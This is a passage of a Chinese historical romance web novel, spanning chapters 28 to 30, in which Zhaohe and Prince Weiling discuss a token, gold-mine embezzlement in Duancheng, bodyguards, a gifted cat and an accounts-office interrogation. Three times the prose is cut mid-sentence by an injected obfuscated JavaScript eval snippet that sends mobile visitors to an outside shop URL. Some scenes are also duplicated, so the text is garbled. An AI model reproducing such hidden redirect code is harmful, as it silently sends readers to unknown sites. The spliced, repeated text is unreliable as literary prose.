“因为喜欢。”卫翎轻声说，“他既喜欢这栋楼，对留下也甘之如饴，便也没什么值不值得。” 他这话说得很云淡风轻。只是落在朝和耳中，却总觉得他像在回答别的什么。 但具体是什么，朝和也说不大清，只觉得气氛有些凝滞，而她面前的、叠着凤梨酥的托盘，也变得大而模糊。 朝和本能地不想再看，但身处其中，她又不自觉想起周遭。 屋子里有什么，窗边又有什么？树上吊下来的花，是丁香还是别的什么？ 花是好看的，此处也依旧暖融融的，虽已待了好一会功夫，可无端地，朝和竟依旧觉得陌生。 连这身精心挑选的衣裳，都莫名压得她沉重。 一番忖度，朝和却愈发烦躁。她不禁深吸了一口气。 恰逢此时，卫翎沉吟开口：“所以，你要不要尝尝？”他莞尔，继续说：“你知道的，他的手艺，可不一般。” 朝和望着托盘，只觉难以启口，但卫翎再次邀请，她不得不从。 罢了。朝和心内轻叹，就当是解馋。反正喊云锦来此初衷，不正是为了它么？ 她如此思量，顺势轻声开口：“多谢殿下，那臣女，恭敬不如从命。” 朝和言行疏离，卫翎看在眼里，不能不留心：“其实你不必如此。” “我们不是旧识么？我以为，论交情，大抵能算作朋友。”卫翎低声说。 “殿下说得不错。”朝和直视卫翎，眸光清亮，道，“但礼不可废。” 她坚持着，活脱脱一个小古板。 观此情形，卫翎心内好笑，但也知她所言所语不过是推脱之辞，归根结底，她还是要与他保持距离。念及此，卫翎摩挲了下指尖，心中有些苦涩。 但对面终究是朝和。 于是卫翎点点头，轻轻勾了下嘴角，露出一个很浅的笑。 “好。”卫翎说。 他深深地看着朝和。 看着她因够点心而离自己愈来愈近的手，不禁勾起唇角；不多时，见那双心心念念的手被主人收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750236|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又有些失落。 但好歹他能看见她。卫翎想，只要见着面，他还有什么不满足？ 何况不仅如此，他二人之间，还有联结在其中。念及此，卫翎深吸一口气。但不可抑止地，他依旧心绪难平，瞳眸颤抖。 卫翎百般思量，只得无可奈何地敛眸，告诫自个儿心说：不急于一时。 ——他们来日方长。 卫翎这厢思潮暗涌，那厢用心吃糕点的朝和却已试罢嘴角。卫翎随眼一瞥，见她收好帕子，不由定定神，遂道：“觉得如何？” 朝和点点头，随即欢喜弯唇，露出个真心实感的笑：“味道好极。” “多谢殿下款待。”朝和道。 “那就好。”卫翎颔首，欣慰道——朝和神情雀跃，他见她行人，心里自也轻快许多。 卫翎勾了勾唇角，沉吟半响，又缓声道：“令牌还用得惯么？”嗓音温润如玉。 “好是好。”朝和欲言又止，神情有些羞愧，但念及令牌名副其实、的确能调度一方，只好轻声开口，“只是……有些太贵重了。”她面露犹疑。 卫翎闻言，却不假思索地摇头。 “它本就是要给你的。”他注视着朝和，黑玉一般的眼睛闪着温润的光。 只听他径直点明，解释道：“这楼里的人，基本都与我相熟。有没有令牌，于我而言，其实区别，并不很多。若是我拿着它，反倒会失其妙用了。” “再者，它是我们合作的见证。”卫翎看了朝和一眼，便低下眉梢，瞧着有些落寞。 他默然半响，方缓缓抬起眼眸。“你真不想要么？”卫翎语气隐忍。他注视着朝和。但神情一如既往，眸光浅淡，容色沉静无波。 这样的表情，分明是看不出什么，但落在朝和眼里，无端地，竟让她以为，有几分委屈含藏其中。 朝和望着卫翎，神情有些愣怔；她抖了抖唇瓣，晓得是自己的心在波动。 她动摇了。朝和咬了咬唇。 可这是毫无办法的。朝和替自己辩驳。她一向吃软不吃硬。卫翎这般情状，她从来都没见过，能让堂堂燕王低一次头，谁见了会不松口？ 再者，靠令牌得来的好处可是实打实的丰厚。虽说是无功受禄，但既然正主都不以为然，声称无用武之地，她又何必自讨没趣、假意推脱？ 何况，朝和须得报仇。若分说起，她与卫翎，也是同一根绳上的蚂蚱。有明月令在手，想必她办事，也会更加稳妥。 念及此，朝和终于抬眸，郑重其事地颔首，道：“那我便却之不恭了。” “多谢殿下。”朝和优美屈膝，沉声说。 她端庄娴雅，耳边的玉坠子却乱摇。贴在脸颊一瞬又离开，挨在她白皙的脖颈上。 卫翎瞥了一眼，心竟也随坠子颤抖。他心底抽气，无声一句轻叹，又别开目光。 只见他沉吟半响，道：“本就该是你的。” “所以，也无需言谢。”卫翎道，“再者，你我之间，也不必这样客气。” 他看着朝和，见她急不可耐地开口，料也是礼不礼的迂腐之言，遂沉声截过话头，又道：“纵不提往昔，凭你我当下之关系，也合该同舟共济。既如此，又何必分得太清？” ——何况经年累月，情分使然，帮得、欠得纠缠一起，要理，又真能理得清么？ 念及此，卫翎眸光晦暗，眼珠像浸在水里似的，昏昏的看不清楚。 他定定地看向朝和，难耐地滚了滚喉咙，思虑再三，究竟是话未脱口。 终究是他操之过急。卫翎睫毛微颤，心尖叹息。 许久，他沉声敛眸：“抱歉，是我逾矩。” 卫翎话落，又沉吟：“既如此，也该补偿一二。” 他此言说得歉疚，面上又十分坦然，及落入朝和耳中，她却猛地一惊。 又送礼？朝和看着卫翎，心中目瞪口呆。 他方才所言谢与不谢之语，根本就是借口罢？朝和不敢置信地想，其目的大约是为给她送物件儿之举找个名正言顺的由头。 所谓礼尚往来，倘若他再照这么个架势给下去，她欠卫翎的人情，究竟要至何时才能还清？ 暗暗地，朝和不禁打了个哆嗦。 28. 金矿 朝和不明白卫翎何必这般执着给她送礼，他大约也知晓这许多物什她全不能还清；而还不清就要欠着，欠着就要有联结——将他俩长久地绑在一起，当真能算好主意？ 朝和心内轻叹。她摩挲了一下触之升温的茶盏，盯着冷茶有些唏嘘，片刻后，又看向卫翎。 “殿下。”朝和说，话里带着无声的叹气。她的睫毛像雾一样，浓浓地遮下眼睑，微微颤动时，又如同纱一般，柔软又飘忽。 她的脸也很柔和。 但听她斟酌着开口：“殿下，天色渐迟，正如白管事所说，臣女来此，是有要事相商。” “臣女个人事小，殿下的事大，前些日子，听你说户部尚书一事，不知有眉目了没有？” 言谈间，朝和竭力接话，将正事相提；反观卫翎，竟不慌不忙，甚至转移了话题。 卫翎道：“照我回回经验来看，你的事都不算小。” ——生死之事，他再不愿提。 卫翎点到为止，眼眸沉沉，启唇时，依旧意有所指：“既要同谋大事，你的安危最紧要。” 他话落，便望着朝和的脸。她的脸是瓷白的，被绿衣裳映着，脖颈像节打磨过的岫玉，与原石不同，是半透明的，看不清裂痕。 卫翎知道，她已经脱胎换骨——但她所说，他依旧不爱听—— 面前的女孩子很从容，优美的眼中却闪过一丝疏离的冷。 卫翎看着她，却觉得朝和方才所言如在天边似的，又像只隔着层朦胧的纱，被风吹起，又缓缓落下了。 万籁俱寂，只余下他的心在蓬勃跳动——卫翎沉默着，端详她好看的眉眼。 而此时此刻，朝和也在沉吟。她抬起的眸又落下，须臾，才听她妥协道：“那殿下打算如何？”朝和眉眼稍抬，面露无奈，卫翎却浅浅勾一勾唇角，道：“你那两个侍女，是不会武功的。可我这楼里有。” “那些人的手段你也清楚，最爱用腌臜毒辣的阴招，若你再被刺杀——”卫翎飞快地瞥了一眼朝和，顿了顿，又道，“总之，你这个盟友，我是断断不能失去的。” 他云淡风轻地说完这一袭话，对面之朝和却神情复杂。 什么失不失去的，净说些不吉利的话。她睨卫翎一眼，又想：再者，将这段话单拎出来，怎么看怎么暧昧——但无论如何，卫翎总不能真是那个意思吧？ 念及此，朝和悚然一惊，她心中呸呸两声，迅速定神，又道：“殿下思虑周全，臣女自愧不如。但此事可否容后再议？”她面露为难，再次提醒：“您看，天色也不早了。” ——此时太阳西垂，黄昏渐起，仿佛有只拖着尾巴的鸟，正急匆匆扑棱翅子，想飞快地往家赶。只是垂眸扫视间，却见自个儿脚上拴着根链子。于是乎，鸟便被锁在原地，怎么也动弹不得。 卫翎眸色一暗，却依然很快转头，面朝朝和轻声开口：“好。”卫翎应声。 见他终于点头，朝和心内一喜，忙道：“殿下先前提及户部尚书贪污一事，如今可有头绪？” “没有。”卫翎道。他漫不经心地开口，嗓音却很干脆。只听他又问道：“和小姐可有思绪？” 朝和正想开口，乍闻此言，神色竟不觉变得古怪。 和小姐？朝和瞪着卫翎，思忖：她家里人如此唤便罢了，他这么叫是作甚？ 但见他依旧冷淡着一张面孔，仿佛浑不在乎，朝和便自觉是惊弓之鸟，当即按下心思，又继续道：“殿下的封地里，可有处叫端城的地方？” “不错。”见她正色，卫翎点头，“听奏报说，那地方势头正好，前些年还挖着了金矿。” “那便是了。”朝和赞同地接话，而后又问道，“殿下可知，端城的城主是什么人？” 她故意卖关子，卫翎心内好笑，顿了顿，又配合着开口：“是个姓廖的，叫知渔，是么？” “正是。”朝和道，“我寻人打听了一下。方知这位廖城主是李玟表姑母家的儿子。虽是远亲，但叫李玟声表哥，也并非不能。” 她话落，顿了顿，又接着开口：“听说端城之金矿，迄今都未能开采完毕，虽然廖知渔按时上奏，但他究竟开采了多少，上交了多少，这其中内情，旁观局外者里，谁又能说得清？” “户部尚书是太子的人，廖知渔在殿下封地内。若李玟兵行险招，当真选廖知渔作为同谋，依他放浪形骸、行事大胆而出其不意的性情，也并非没有可能。”朝和说完，又看向卫翎，道，“殿下以为呢？” “的确是步险棋。”卫翎沉吟半响，又轻声询问道，“此事属实么？” 朝和点点头，道：“家父归京途中，曾路过端城。暂居驿站时，听周围人提及，他有心，便探听了一二。” “据传，前些年采矿的人很多，近两年人却渐少，小二说，大约是采矿之工程将近完成，是以矿山才清净许多。”朝和言及此处，倏而话锋一转，径直道，“敢问殿下，廖知渔的奏疏是如此么？” 她愈说，卫翎的心愈沉。 只因端城城主一月前新上的折子里，的确写了金矿开采的相关事宜，其中的内容，卫翎至今仍记得很清。 折子里说，“采矿艰巨，事务繁杂，更有怠惰刁民”，是以，要想开采完矿山，仍需三年五载。 宁国公是朝和的父亲，朝和也没必要欺骗卫翎。 而端城，是他的封地。他的封地之内，他的眼皮底下，竟会有如此不耻之事。他之疏忽，他之失察，酿造百姓之大难，这是卫翎的罪过。 卫翎自责之际，不禁攥紧了手指。袖袍之下，指节发白又颤抖。 见他神情阴郁，默不作声，朝和内心又叹了口气。只听她继续道： “殿下，金矿开采，事关重大。照理说，这等机密之事，本只该落实于罪犯或流民，不宜下达百姓试听。 但据家父探查，平民中充过苦役者，竟不计其数。用人之所以多，在于劳工短缺，规模巨大，但此等浩大工程，问及百姓详情，却无一人知晓。” “可见是身居高位之人有意保密，才致使底下人认识不清。” “所谓事出反常必有妖，何况其中疑难甚多。殿下，臣女以为，不论廖知渔是否与李玟同流合污，都该严肃查办，也能给端城百姓——” 朝和言及此处，不禁想起因高官贪污而被无辜压榨的百姓。她心有不忍，不禁叹了口气。 “一个交代。”朝和郑重道。 “好。”卫翎缄口许久，仿佛是从怅惘的震动中苏醒过来，终于沉声说，“此事非同小可，我会奏明父皇，亲自去一趟。” 他看着朝和，眸子沉得像积年累月堆在塞北雪山顶上濒临崩塌的雪，仿佛一场风暴也难以荡平：“倘若真如你所言，那廖知渔的项上人头，朝廷必定收下。” “嗯。”朝和点点头，亦冷肃着神情，道，“那便祝殿下一路顺风了。” 她话落，卫翎依旧沉寂许久。他冷淡着面容，观神情看不出什么，但他不说朝和也知晓——卫翎的心情，此时此刻，必定是极差的。 唉。朝和心内喟叹，满眼怅然。造孽的锦衣玉食，为善的却贫穷命短。听朝朔说端城民风淳朴，究竟是为官不仁。 亲王眼皮下都敢如此行事，这还只是太子的一个党羽手底，如此肆意妄为的狗官，竟能猖獗数年之久，卫潜麾下，究竟有多少这样的蛀虫？ 他伙同相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755081|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府谋害了她的性命，朝和是要复仇，可晓得了端城百姓的苦难，这仇怨里，又蕴含了些别的东西。 倘若卫潜一朝登基，重用他如今手下之奸臣墨吏，到时支持他称帝的重臣草菅人命，凭卫潜无时无刻都在替自己谋利的性情，又当真会管么？ 朝和如此思忖，也下定了决心—— 无论如何，卫潜都不能当皇帝。 不管是为百姓，还是为己。 她正想时，卫翎却倏然开口，道：“我此处有两个身手好的暗卫，唤作金徵和绿绮，都是踏实肯办事的，你留下来，哪怕做个洒扫丫头也好。” 他无言地看了朝和半响，似是将什么话咽回了心里，才继续说：“……身边没人时，也能安心些。” 见卫翎低眉，先前又几次三番推脱，朝和不好拒绝，遂轻轻颔首，道：“好。多谢殿下，我定会将祂二人好生安顿，不负殿下美意。” 卫翎闻言，又叹了口气。他定定地看着朝和，终究什么也没说，眼里却满是无奈。 恰逢此时，有人在门外吆喝：“祖宗，人给您送到了！那我就先走了？” 这人倏然一声大喊，朝和循声扭头，脸上的惊疑尚未褪去，门外那人倒先探进颗头。 朝和定睛一看，原是白垩那张脸，顿时恍然大悟。 怪不得这般眼熟。朝和暗道。 她安下心神，教思绪平复，正自嘲惊弓之鸟，孰料转念一想，一桩怪事，又浮上她心头。 听白垩说辞，其寻暗卫之缘由，盖因卫翎吩咐——这倒奇了。朝和细忖，据她所知，他二人今日，不该有她不在时之见面时机才对。 除非—— 除非白垩当下之举，是卫翎早有预谋。 念及此，朝和猛地一惊。 只见她倏然扭头，看向卫翎。 …… 而卫翎之神色，却相当淡定。 但见他迅速转眸，回看朝和一眼，而后若无其事道：“怎么了？”卫翎平声说，“点心不够用么？” “还是不喜欢？”见朝和不答，他顿了顿，端起茶，又继续说，“若不中意，便教白垩换了去。恰巧，他人也在此处。” 朝和看着他，见他吹了吹茶上的浮沫，半响又搁下茶盏，无声敛容。 ——然，若细观那茶汤，便知其实则分毫未动。 门内朝、卫两个相对，垂眸温情斟茶，门外一个白垩苦等，巴巴驻足闻声。 他听了卫翎所言，又冷不丁环顾周遭，暗骂卫翎丧心病狂之际，他身后的两个侍女，却神情有异。 白垩睃她二人一眼，见其有憋笑之嫌，当即拉脸哂笑，摇扇讥刺道：“怎么，见我成了幌子，又被盘剥，你俩很高兴？” 金徵绿绮闻言，纷纷摇头。 听她二人连声“不敢”，白垩冷哼一声轻讽，才算放过。但见他之折扇，依旧轻摇，手头闲然自得。 他形容上云淡风轻，内里却怨怼不停。许久，听白垩心说： 卫翎交由差事，他一向言听计从。 是以，无论报信也好，寻人也罢，白垩都尽心竭力。 而他如今大汗淋漓地上来，也不过是想当家的给他发个短假，准他早些回去——毕竟他今日作了推手，所为还如此得力——孰料卫翎充耳不闻。以甚瞧其架势，还预备借花献佛。 他岂能不气？白垩想，他甚至想怒斥卫翎与其对骂个三百来回——不错！白垩恨恨地对自己说：纵然卫翎不睬，他也非骂不可！ 白垩此番思定，不禁歪一歪唇角，须臾，又深吸了一口气。 只见他眉眼轻抬；又听他喟然一声长叹，倏地一声冷哼，眼见是发作在即。 29. 赠她 反观卫翎神情，却相当淡定。 但见他迅速转眸，回看朝和一眼，而又若无其事道：“怎么了？”卫翎道：“点心不够用么？” “还是不喜欢？”见朝和不答，他顿了顿，端起茶，又接着说：“若不中意，便教白垩换了去。恰巧，他人也在此处。” 卫翎说着，便睃了眼白垩。须臾，又像掩饰什么似的低眉，抿唇贴了下杯口——只是移目间，还不忘瞧瞧朝和的神色。 …… 门内朝卫两个相对，静气垂眸对饮；门外一个白垩苦等，巴巴驻足闻声。 听了卫翎所言，白垩当即不爽，忍不住心下怒斥，骂卫翎丧心病狂。好骂半响，白垩如有所感，又冷不丁回顾周遭，见身后两个侍女神情有异而似憋笑之状，脸瞬间拉长。 “怎么，见我成了幌子，又要被盘剥，你俩很高兴？”白垩似笑非笑，没好气地讥讽。 那厢金徵绿绮闻言，眼观鼻鼻观心，纷纷摇头，忙说“不敢”。 她二人识趣，白垩却冷哼一声。 “不敢”？白垩心道，瞧这人畜无害的样子，昔日为好处而与他抢管事职务时如狼似虎的那两个，难道不是她们么？ 如今倒是安生了。白垩腹诽，前些日子，一听要派人护卫千金，毛遂自荐时，不还很是迫切么？ 念及此，他瞪两人一眼，手里折扇轻摇，却依然憋着火。白垩将脸别过，面上云淡风轻，内里则怨言迭生—— 卫翎交办差事，他素来言听计从：无论报信也好，寻人也罢，都尽心竭力。 今日作了卫、朝感情的推手，自以为还算得力；当下大汗淋漓地跑上来，办完了卫翎的私事，他总给给自己些好处罢？ 他又不要别的，白垩忿忿心说，准他早些回家就成——不过瞧眼下情形，恐怕是难了。白垩冷眼看着，暗讽卫翎见色忘义，对自己所言充耳不闻，甚至还准备借花献佛。 觉察此番，白垩焉能不气？他恨不得立时开口与卫翎对骂三百来回以泄心头之火。 不错！白垩慷慨心说，纵卫翎不睬，他也非骂不可！ 他此番思定，不禁歪一歪唇角。须臾，又深吸了一口气。 只见他眉眼轻抬——喟然一声长叹，又倏地一声冷哼——细观而神情不虞，眼看，是发作在即。 恰逢此时，朝和忽地出声：“不。”她摇摇头：“不必了。” “点心是极好的。” 她瞥了一眼白垩，余光又瞧瞧卫翎，少顷，又接着开口：“何况，白管事辛苦一场，已很是劳累，这类小事，还是不要再劳烦了罢？”朝和面露恳切。 这说得还像句人话。白垩心里哼哼。他瞪了一眼卫翎，闻言，气已消了大半。 正欲开口时，卫翎又浅浅弯了弯嘴角：“好。既合口味，那我便放心了。” 他点点头，话落，又朝白垩道：“白垩，你将她俩带进来，便下去罢。” 他冷淡启唇，白垩却如蒙大赦。 登时一副松口气的样子，侧眸招呼了两声，便大步流星地先行跨入。 “人到了。”白垩昂首挺胸，问询，语气中不乏期待之音，“那我走了？” 话落半响而卫翎不睬，见状，他微笑着抿抿嘴皮，点着头又道：“行，我就不在这碍眼了。” 白垩皮笑肉不笑。只见他低眉敛容，作揖倒退两步，转身又“吱呀”一声推门、“唰”一下撩袍——鸟儿展翅似的；只见他拔腿一迈，像抖掉了什么枷锁，稍纵回身，又似笑非笑地朝门缝里瞥去，阖门时，又是“吱呀”一声，半响，一根头发丝也没留。 他走得这样干净，朝和有些愣怔。失神间，卫翎却忽然开口：“她们便是此后留着要保护你的暗卫。” “金徵与绿绮。” 话落，两人齐齐见礼。 朝和被寻回视线，却依然担忧：“暗卫？”她看向卫翎：“留给我么？”会不会太大材小用了？ “阁里的人皆如此。”卫翎解释，心领神会她未言之思虑，“哪怕再换也一样。” 皆如此？朝和眉心跳了跳。腹诽：怪不得楼下那个掌柜奇奇怪怪，竟是个暗卫出身。 她思忖着，勉强地点一点头，道：“好。” “多谢殿下。” 她回眸瞧了瞧两个侍女，又略带局促地看向卫翎：“殿下，若无要事，我也先行一步了。”她望了望天色，面露为难。 卫翎眸色一黯，不过只是顿了顿，便利落开口：“好。多保重。” “若有他事——”他斟酌着，又瞧了一眼朝和：见她神情端肃，大抵不懂风月，卫翎默了一瞬，也只好收回了胸中未尽之言，转而深深地看着她。 谁料不过半响，一声轻叹，卫翎却再度垂眸。他落下眼帘，也不知在这几瞬的功夫里，究竟是想了些什么，但兴许是收拾好了自个，才缓缓抬眸—— 再对视时，卫翎已敛容神情恢复，面色如初。只听他淡声开口：“再议罢。”尾音却像依旧像拖着叹息。 “……嗯。” 朝和点点头，语气却有些犹疑。她似乎是觉察到了什么，可终究只应了一声，也没再多问。 只是看着卫翎时，心中莫名有些怅惘。 朝和总觉得，自己似乎错过了什么东西，但究竟是什么，她也说不清。 只能默然起身，定定看他一眼，便转身离去。 …… 翌日，蒹葭院。 朝和俯身琢磨了半响，又情不自禁地抬头问道：“你大清早赶着出去，便是为了这个？” 她刚醒不久，这会儿眼含诧异，云鬓也不齐整。此刻微微抬眸，有几绺鸦青的发滑落在腮边，花蕊似的，衬得肌肤匀透，脸颊玉雪可爱。 绿绮瞧着欢喜，不禁弯唇笑道：“是呀，小姐，您瞧这猫，多好看！”她说着，献宝一样地，又顺手将笼子上的红布展了展。 那猫儿通体三色，在背上泼墨似的融在一起，一双大眼睛又圆又亮。 这一路颠颠簸簸，它却一声不响，将红布彻底撩开，也只是静悄悄地缩在角落。此刻见了朝和，竟咪呜呜地抬起爪，朝她走了一步。 朝和心下惊讶，复抬眸：“这猫哪儿来的？瞧着年岁尚小，竟这般通人性么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797416|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “回小姐，猫儿是主子送的。”绿绮道。 “主子？”朝和惊疑，“你们阁主么？好端端的，送猫作甚？”垂眸见小猫叫唤，又忙伸手去逗：“笼子可能打开？将它关在里头，瞧着够闷的。” 珠连握着步摇，在傍却不便插手，那厢合璧闻言，遂上前一步道：“小姐，我来罢。” 她自告奋勇，正欲拔出门栓，垂眸一瞧，笼子上却晃着一把锁，不禁神色愣怔。“关猫还需要锁么？”她的手僵在半空，茫然道。 绿绮见状，盈盈一笑道：“姑娘有所不知，别看它看着娇小，实则警惕得很，若不留神，可是要被挠出血痕来呢。” 说着，便晃晃手背，朝众人苦笑一声道：“还是让我来罢。小姐，合璧姑娘，你们站远些。” 她低头捣鼓一番，手中霎时一闪，竟变戏法似的多了把钥匙。朝和来不及惊叹，锁便被破开，霎时，就有个身影从中跳出来。 而绿绮眼疾手快，竟一把捞住了小猫，又提溜着往前，送至朝和跟前来。 “小姐。这就是那狸奴了。”看着四脚扑腾的猫儿，绿绮解释道，“长得小，制不住的。” “咬人疼得很，小姐还是勿要靠近得好。” 她话落，见朝和果真避而不前，又将小猫抱住，缓缓塞进笼子里。安抚了片刻，见它终于安静，才深舒了一口气。 绿绮将红布收好，正欲回头微笑，却听朝和先道：“这猫儿，可有名字么？” “有。”绿绮起身点头，“叫银鹫。” “银鹫？”朝和诧异重复，“哪两个字？” 她这样问罢，又听了绿绮回答，心中怪异之时，也愈发觉得熟悉。 朝和思索半响，终于震惊抬眸：“你说它叫银鹫，那金雕是——”金雕不会也是只猫罢？ “——金雕是阁主的狸花。”绿绮冷静接话，而后又惊讶道，“小姐竟知道金雕么？” 朝和面含窘迫。总不能说是偷听得来的罢？她如此思忖，极力镇定点头：“略有耳闻。” 绿绮挑了挑眉，却并未道破，只是若无其事道：“金雕是阁主的信使。”她抬头看着朝和：“素日便野惯了的，是以，跑得也很快，阁主这才动了心思。” 见她形容平和，朝和才安下心，又试探着问道：“那这猫叫银鹫？” 绿绮微笑了一下，一语道破缘由：“阁主抱来给金雕当妹妹的。” 给金雕当妹妹？朝和嘴角抽搐，这也便罢了，卫翎究竟会不会起名？叫猫听起来像鸟，也亏他想得出来。 朝和腹诽完，整理了下心思，又看向绿绮：“可他为何将……银鹫给我呢？既要作兄妹，两只猫打打闹闹，不是更好么？”朝和面露迟疑。 绿绮不卑不亢，回道：“阁主说，狸花原本不着家，虽然省心安静，府邸却冷清得过了头。他遂又接一猫以图欢欣，谁知两猫相见，狸花竟再不肯离家，甚至愈发闹腾。长此以往，他被吵得没法子，只得将银鹫送走。” “阁主思来想去，觉得除小姐之外，再无合适人选，便托付给了小姐，望您照看。” 30. 账房 绿绮言之凿凿，朝和却心内存疑。 斟酌半响，直视对方道：“我有一言，不知当讲不当讲。” “小姐如此说，可是扎煞奴婢了。”绿绮摇头道，“我是小姐的侍女，小姐但说便是。” “那好。”朝和闻声点头，遂干脆问道，“你既说金雕可以送信，那遵你们阁主的意思，银鹫养出来，也要充作信使么？” “不。”绿绮摇摇头，“阁主的意思，是既将银鹫送来，那它日后生杀之去留都听凭小姐处置，遂您的意就好。” 她如此说完，眼波流转，见朝和沉思默想，料其心有顾虑，遂径直开口、垂眸柔声宽慰道：“银鹫难驯，待小姐却格外亲近，依奴婢看，的确是渊源颇深，小姐——” 言及此处，绿绮试探性抬眸，见朝和不动声色，神情不可探察，遂话锋一转，又道：“可若小姐不喜，奴婢待会……回绝了便是。” 朝和本在思忖，乍听此言，不由抬眸诧异：“这样办，你们阁主不会怪罪么？” “小姐的意愿大过天。”绿绮如是说。 “且奴婢动身之际，阁主也有过交代。”言及此，又宽慰道，“是以，您无需忧虑，但求顺心便好。” 见她弯唇，朝和心里震动。感怀绿绮真情实意坦诚相交之时，也怅惘自己对卫翎真心存疑而连番猜忌之举，思及此，不禁懊恼——此时此刻，竟连心忖也变得难以启齿。 只见她闭了闭眼，心道：卫翎送猫，竟真无其他目的！ 还以为卫翎有添信使之念，却因银鹫难驯而实在不愿费力，想起先前予她令牌之举，料朝和不会推拒，遂送她身边——表面看似赠礼，实则醉翁之意不在酒，想坐享其成。 念及此，朝和无声长叹，恼恨自己缘何对卫翎之好心抱这般恶意！ 她连番细忖，心中惭愧渐生，不免又深叹了口气。 “罢了罢了。”朝和恍然，“你好心替我办事，来回跑这一趟，可谓劳神费力，现下我之质疑，不过微词罢了，何苦因此教你再走一遭？” 她顿了顿，又勾勾唇角。 “你既说猫儿与我亲，那搁我房里就是；你们阁主的好意，我就此收下。” “改日若有机会，定好好谢他。”朝和冲绿绮点头，温言弯眸道。 她话落，抬手想抚一下鬓角，瞥眼却见披散之发梢，这才顿了顿，转眸将手收回，又朝珠连饱含歉意道：“瞧我，一时糊涂，竟忘了。还教你等了这般久。” “须得快些了。”朝和招了下手，边说，边往妆奁边上走，“赤羽可还等着呢。” …… 朝和一袭雪青色襦裙，此刻眼帘低垂，正端坐在扶手椅上。她漫不经心地撇了两下浮沫，却有一种山雨欲来之感。 “一应的事宜，赤羽已与你们说清了罢？”朝和侧身敛眸，拣了个果子，随口道。 “别的我也不说，不过想问两句：如今掌家的是谁，从前的又是谁，你们可知晓？” 话落，众人面面相觑，须臾，又连连点头。见此情形，朝和莞尔一笑道：“知道就好。” “既如此，那想必她卸任之缘由，诸位也心知肚明罢？”朝和似笑非笑，屈指敲了敲桌角，见众人不言，又讥刺道，“何必沉默呢？你们这儿，不是刚出了个赵峰么。” 喟然话罢，见账房先生们个个惊疑不定，才欣慰暗道：“话说到这个份儿上，若再敢听不懂，便真说不过去了。” 她如此思忖，也在定睛细看——见众人虽蠢蠢欲动坐立难安却依旧不肯多言，纵左右顾盼却也在勉力按捺以静观其变。及回望朝和之际，又是一脸战战兢兢；而待赤羽时之举止更不必多说——那些人一眼都不敢多看。 似这般对视良久，双方僵持不下。朝和见此情形，虽料定此景与赤羽料理赵峰之手段相关，却仍不免抽了抽嘴角。 好在她请赤羽前来，本就为了震慑，故而不过须臾朝和便安神定心，镇定自若道：“怕什么？”甚至饶有兴致地抬眸，揶揄道：“赤羽又不会吃了你们。” 说着，又抬眼朝赤羽一望。 似觉察到朝和目光，赤羽拧了拧眉，默默了半响，才冷声道：“小姐问什么，你们答就是。若再有类赵峰般浑水摸鱼之辈，后果自负！” 他厉声言毕，朝和也搁下茶盏，径直道：“与赵氏相干之人，想必不只有赵峰罢？” “从实招来，尚有回旋余地；若胆敢欺瞒——”朝和看向众人，故意顿了顿，才继续开口：“后果么，也可想而知。” ——虽明眸善睐，语气云淡风轻，却予人以不怒自威之感，而甚引人战战。 “国公府可用不起善欺诈之宵小。”朝和眸光一凛，冷笑。 “赵氏深陷寒狱，已再无出头之日；但你们不同。”她顿了顿，又道，“青天白日依旧可见，既如此，还是早作珍惜为好。” 话落，眼波一扫，又道：“对了，若有见义勇为者愿出面揭发，也算检举有功。” “到时该赏赏，该罚罚，我也不是那不通情理之人。” “肥差之去留就在你们的一念间。”朝和淡声说，“想清楚再开口。” 她如是警告，众人也听得明白，应了“是”，便下意识开始交头接耳，而后稍纵功夫，就又变得移目神离。如此这般，气氛便随之凝滞了。 这样静待多时，赤羽终于按捺不住。临他踱步之际、被朝和劝慰坐下之时，总算有人起身，朝二人作揖而率先道：“小姐，小人有一事不明。” 朝和点头抬起下巴，示意他开口。 那人顺势站好，先吞了口唾沫。须臾眼波一敛，余光与左右交错，此番对罢了眼色回眸，才复拱手，继续道：“敢问小姐，判断是否与赵氏合谋，您可有思定的标准？” 谈话间，始终低眉，不敢与朝和对视。 他这样等了一会儿，却仍不闻朝和回答，惊疑不定之际，只好悄悄抬眸，壮胆望了眼朝和。 他是很小心，却依然很不巧。这一眼，恰好与瞥过来的朝和对视上了。 四目相对之际，朝和已将他上下打量。 他绾髻极紧，却顾不着鬓边，以致漏了不少碎发。这人面庞干瘦，双眸无精打采，虽生得白净，却露了一口黄牙——牙也不甚齐整。 他着了件长衫。灰白色的，耷拉在身上，显得他灰头土脸。 虽负账房之名，却无精干之态，这样的形容，不免教人 